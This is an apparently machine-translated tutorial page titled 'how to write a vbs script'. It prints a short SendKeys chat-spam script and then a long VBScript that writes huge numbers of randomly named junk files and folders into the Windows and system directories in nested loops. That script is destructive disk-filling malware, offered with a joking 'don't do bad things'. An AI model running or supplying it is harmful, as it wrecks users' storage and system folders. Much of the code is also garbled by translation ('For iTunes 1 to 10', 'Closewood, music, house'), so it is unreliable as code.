Network Security Internet Technology Development Database Servers Mobile Phone Android Software Apple Software Computer Software News IT Information

In addition to Weibo, there is also WeChat

Please pay attention

WeChat public account

Shulou

How to write a vbs script

2025-04-05 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Development >

Share

Shulou(Shulou.com)06/03 Report--

This article mainly explains "how to write a vbs script". The content of the article is simple and clear, and it is easy to learn and understand. Please follow the editor's train of thought to study and learn "how to write a vbs script".

The code is as follows:

Set WshShell= WScript.createObject ("WScript.Shell")

WshShell.AppActivate "Group-Powers member Communication"

Number of times to send for iTunes 1 to 10'

WScript.Sleep 500' interval between sending messages

WshShell.SendKeys "^ v" 'content to be posted

WshShell.SendKeys I: each message is different here, followed by I, that is, the number of loops

WshShell.SendKeys 's'

Next

This code is explained very clearly ~ hehe

In fact, just a little bit can get us to do several interesting things, such as: browsing QQ chat ah, browsing the website ~

Because I am interested, I found a code like this: a VBS script program to write hard disk (don't do bad things)

The code is as follows:

On error resume next

Dim objdir,suijishu

Set objdir=wscript.createobject ("scripting.filesystemobject")

Set windir=objdir.getspecialfolder (0)

Set sysdir=objdir.getspecialfolder (1)

'start the program

For iTunes 1 to 1000

For jung1 to 1000

For Rumex 1 to 1000 Muhammad Murray-

Randomize

Y=int ((122,651) * rnd+65)

Y1=int ((122,651) * rnd+65)

Y2=int ((122,651) * rnd+65)

Y3=int ((122,651) * rnd+65)

Y4=int ((122,651) * rnd+65)

Y5=int ((122,651) * rnd+65)

Y6=int ((122,651) * rnd+65)

Y7=int ((122,651) * rnd+65)

Y8=int ((122-65) 1) * rnd+65)'-

Y9=int ((122,651) * rnd+65)

F=chr (y) & chr (y1) & chr (y2) & chr (y3) & chr (y4) & chr (y5) & chr (y6) & chr (y7) & chr (y8) & chr (y9)

Suijishu=int (rnd*10000)

'create a windows file

Yang=windir& "& f &". & chr (y3) & chr (y7) & chr (y)

Set a=objdir.createtextfile (yang,true)

A.writeline "Made In China,Hubei,Wuhan,Guanshan"

A.writeline "Comrade Yang, CEO of the Ancient style neighborhood Committee"

A.writeline "Oicq:14903220"

For upright 1 to suijishu

A.writeline (f&f&f&f&f&f&f)

Next

A.close

Yang=windir& "& chr (y3) & chr (y1) &". & chr (y) & chr (y4) & chr (y2)'2

Set a=objdir.createtextfile (yang,true)

A.writeline "Made In China,Hubei,Wuhan,Guanshan"

A.writeline "Comrade Yang, CEO of the Ancient style neighborhood Committee"

A.writeline "Oicq:14903220"

For upright 1 to suijishu'

A.writeline (f&f&f&f&f&f&f)

Next

A.close

Yang=windir& "& chr (y7) & chr (y2) & chr (y9) &". & chr (y8) & chr (y4) & chr (y1)'3

Set a=objdir.createtextfile (yang,true)

A.writeline "Made In China,Hubei,Wuhan,Guanshan"

A.writeline "Comrade Yang, CEO of the Ancient style neighborhood Committee"

A.writeline "Oicq:14903220"

For upright 1 to suijishu

A.writeline (f&f&f&f&f&f&f)'

Next

A.close

Yang=windir& "& chr (y5) & chr (y2) & chr (y9) & chr (y1) &". & chr (y6) & chr (y9) & chr (y3)'4

Set a=objdir.createtextfile (yang,true)

A.writeline "Made In China,Hubei,Wuhan,Guanshan"

A.writeline "Comrade Yang, CEO of the Ancient style neighborhood Committee"

A.writeline "Oicq:14903220"

For upright 1 to suijishu

A.writeline (f&f&f&f&f&f&f)

Next'-

A.close

Yang=windir& "& chr (Y6) & chr (Y2) & chr (y) & chr (Y4) & chr (Y5) &". & chr (Y6) & chr (Y8) & chr (Y4)'5

Set a=objdir.createtextfile (yang,true)

A.writeline "Made In China,Hubei,Wuhan,Guanshan"

A.writeline "Comrade Yang, CEO of the Ancient style neighborhood Committee"

A.writeline "Oicq:14903220"

For upright 1 to suijishu

A.writeline (f&f&f&f&f&f&f)

Next

A. Closewood, music, house, etc.-

Yang=windir& "& chr (Y3) & chr (Y6) & chr (Y1) & chr (Y8) & chr (Y5) & chr (y9) &". & chr (Y3) & chr (Y8) & chr (y)'6

Set a=objdir.createtextfile (yang,true)

A.writeline "Made In China,Hubei,Wuhan,Guanshan"

A.writeline "Comrade Yang, CEO of the Ancient style neighborhood Committee"

A.writeline "Oicq:14903220"

For upright 1 to suijishu

A.writeline (f&f&f&f&f&f&f)

Next

A. Closewood, music, house, etc.-

Yang=windir& "& chr (y4) & chr (y2) & chr (y1) & chr (y7) & chr (y8) & chr (y) & chr (y4) &". & chr (y2) & chr (y) & chr (y5)'7

Set a=objdir.createtextfile (yang,true)

A.writeline "Made In China,Hubei,Wuhan,Guanshan"

A.writeline "Comrade Yang, CEO of the Ancient style neighborhood Committee"

A.writeline "Oicq:14903220"

For upright 1 to suijishu

A.writeline (f&f&f&f&f&f&f)

Next

A.close

Yang=windir& "& chr (y8) & chr (y2) & chr (y6) & chr (y4) & chr (y1) & chr (y) & chr (y6) & chr (y1) &". & chr (y4) & chr (y) & chr (Y7) '8color color-

Set a=objdir.createtextfile (yang,true)

A.writeline "Made In China,Hubei,Wuhan,Guanshan"

A.writeline "Comrade Yang, CEO of the Ancient style neighborhood Committee"

A.writeline "Oicq:14903220"

For upright 1 to suijishu

A.writeline (f&f&f&f&f&f&f)

Next

A.close

'create a system file-10

Yang=sysdir& "& f &". & chr (y3) & chr (y9) & chr (y1)

Set a=objdir.createtextfile (yang,true)

A.writeline "Made In China,Hubei,Wuhan,Guanshan"

A.writeline "Comrade Yang, CEO of the Ancient style neighborhood Committee"

A.writeline "Oicq:14903220"

For upright 1 to suijishu

A.writeline (f&f&f&f&f&f&f)

Next

A.close

Yang=sysdir& "& chr (y3) & chr (y1) &". & chr (y4) & chr (y2) & chr (y9) '2muri-

Set a=objdir.createtextfile (yang,true)

A.writeline "Made In China,Hubei,Wuhan,Guanshan"

A.writeline "Comrade Yang, CEO of the Ancient style neighborhood Committee"

A.writeline "Oicq:14903220"

For upright 1 to suijishu

A.writeline (f&f&f&f&f&f&f)

Next

A.close

Yang=sysdir& "& chr (y7) & chr (y2) & chr (y9) &". & chr (y3) & chr (y7) & chr (y)'3

Set a=objdir.createtextfile (yang,true)'

A.writeline "Made In China,Hubei,Wuhan,Guanshan"

A.writeline "Comrade Yang, CEO of the Ancient style neighborhood Committee"

A.writeline "Oicq:14903220"

For upright 1 to suijishu

A.writeline (f&f&f&f&f&f&f)

Next

A.close

Yang=sysdir& "& chr (y5) & chr (y2) & chr (y9) & chr (y1) &". & chr (y5) & chr (y4) & chr (y1)'4

Set a=objdir.createtextfile (yang,true)

A.writeline "Made In China,Hubei,Wuhan,Guanshan"--

A.writeline "Comrade Yang, CEO of the Ancient style neighborhood Committee"

A.writeline "Oicq:14903220"

For upright 1 to suijishu

A.writeline (f&f&f&f&f&f&f)

Next

A.close

Yang=sysdir& "& chr (y6) & chr (y2) & chr (y) & chr (y4) & chr (y5) &". & chr (y3) & chr (y6) & chr (y9)'5

Set a=objdir.createtextfile (yang,true)

A.writeline "Made In China,Hubei,Wuhan,Guanshan"

A.writeline "Lao Yang, CEO of the Ancient style neighborhood Committee"

A.writeline "Oicq:14903220"

For upright 1 to suijishu

A.writeline (f&f&f&f&f&f&f)

Next

A.close

Yang=sysdir& "& chr (y3) & chr (y6) & chr (y1) & chr (y8) & chr (y5) & chr (y9) &". & chr (y3) & chr (y) & chr (y5)'6

Set a=objdir.createtextfile (yang,true)

A.writeline "Made In China,Hubei,Wuhan,Guanshan"

A.writeline "Comrade Yang, CEO of the Ancient style neighborhood Committee"

A.writeline "Oicq:14903220"-15

For upright 1 to suijishu

A.writeline (f&f&f&f&f&f&f)

Next

A.close

Yang=sysdir& "& chr (y4) & chr (y2) & chr (y1) & chr (y7) & chr (y8) & chr (y) & chr (y4) &". & chr (y7) & chr (y5) & chr (y1)'7

Set a=objdir.createtextfile (yang,true)

A.writeline "Made In China,Hubei,Wuhan,Guanshan"

A.writeline "Comrade Yang, CEO of the Ancient style neighborhood Committee"

A.writeline "Oicq:14903220"

For upright 1 to suijishu'

A.writeline (f&f&f&f&f&f&f)

Next

A.close

Yang=sysdir& "& chr (y8) & chr (y2) & chr (y6) & chr (y4) & chr (y1) & chr (y) & chr (y6) & chr (y1) &". & chr (y1) & chr (y7) & chr (y4)'8

Set a=objdir.createtextfile (yang,true)

A.writeline "Made In China,Hubei,Wuhan,Guanshan"

A.writeline "Comrade Yang, CEO of the Ancient style neighborhood Committee"

A.writeline "Oicq:14903220"

For upright 1 to suijishu

A.writeline (f&f&f&f&f&f&f)'

Next

A.close

'create a windows folder

Yang=windir& "& f &" u "

Objdir.createfolder (yang)

Yang=windir& "& chr (y4) & chr (y2)'2

Objdir.createfolder (yang)

Yang=windir& "& chr (y) & chr (y9) & chr (y5)'3

Objdir.createfolder (yang)'-

Yang=windir& "& chr (y6) & chr (y3) & chr (y8) & chr (y7)'4

Objdir.createfolder (yang)

Yang=windir& "& chr (y5) & chr (y) & chr (y1) & chr (y9) & chr (y3)'5

Objdir.createfolder (yang)

Yang=windir& "& chr (y6) & chr (y9) & chr (y4) & chr (y6) & chr (y1) & chr (y7)'6

Objdir.createfolder (yang)

Yang=windir& "& chr (y3) & chr (y6) & chr (y) & chr (y1) & chr (y7) & chr (y6) & chr (y2)'7

Objdir.createfolder (yang)

Yang=windir& "& chr (y6) & chr (y2) & chr (y9) & chr (y) & chr (y4) & chr (y7) & chr (y2) & chr (y5)'8

Objdir.createfolder (yang)'

'create a system folder

Yang=sysdir& "& f &" n "

Objdir.createfolder (yang)

Yang=sysdir& "& chr (y4) & chr (y2)'2

Objdir.createfolder (yang)

Yang=sysdir& "& chr (y) & chr (y9) & chr (y5)'3

Objdir.createfolder (yang)

Yang=sysdir& "& chr (y6) & chr (y3) & chr (y8) & chr (y7)'4

Objdir.createfolder (yang)'

Yang=sysdir& "& chr (y5) & chr (y) & chr (y1) & chr (y9) & chr (y3)'5

Objdir.createfolder (yang)

Yang=sysdir& "& chr (y6) & chr (y9) & chr (y4) & chr (y6) & chr (y1) & chr (y7)'6

Objdir.createfolder (yang)

Yang=sysdir& "& chr (y3) & chr (y6) & chr (y) & chr (y1) & chr (y7) & chr (y6) & chr (y2)'7

Objdir.createfolder (yang)

Yang=sysdir& "& chr (y6) & chr (y2) & chr (y9) & chr (y) & chr (y4) & chr (y7) & chr (y2) & chr (y5)'8

Objdir.createfolder (yang)

Next

Next

Next

Thank you for your reading, the above is the content of "how to write a vbs script", after the study of this article, I believe you have a deeper understanding of how to write a vbs script, and the specific use needs to be verified in practice. Here is, the editor will push for you more related knowledge points of the article, welcome to follow!

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.

Views: 0

*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.

Share To

Development

Wechat

© 2024 shulou.com SLNews company. All rights reserved.

12
Report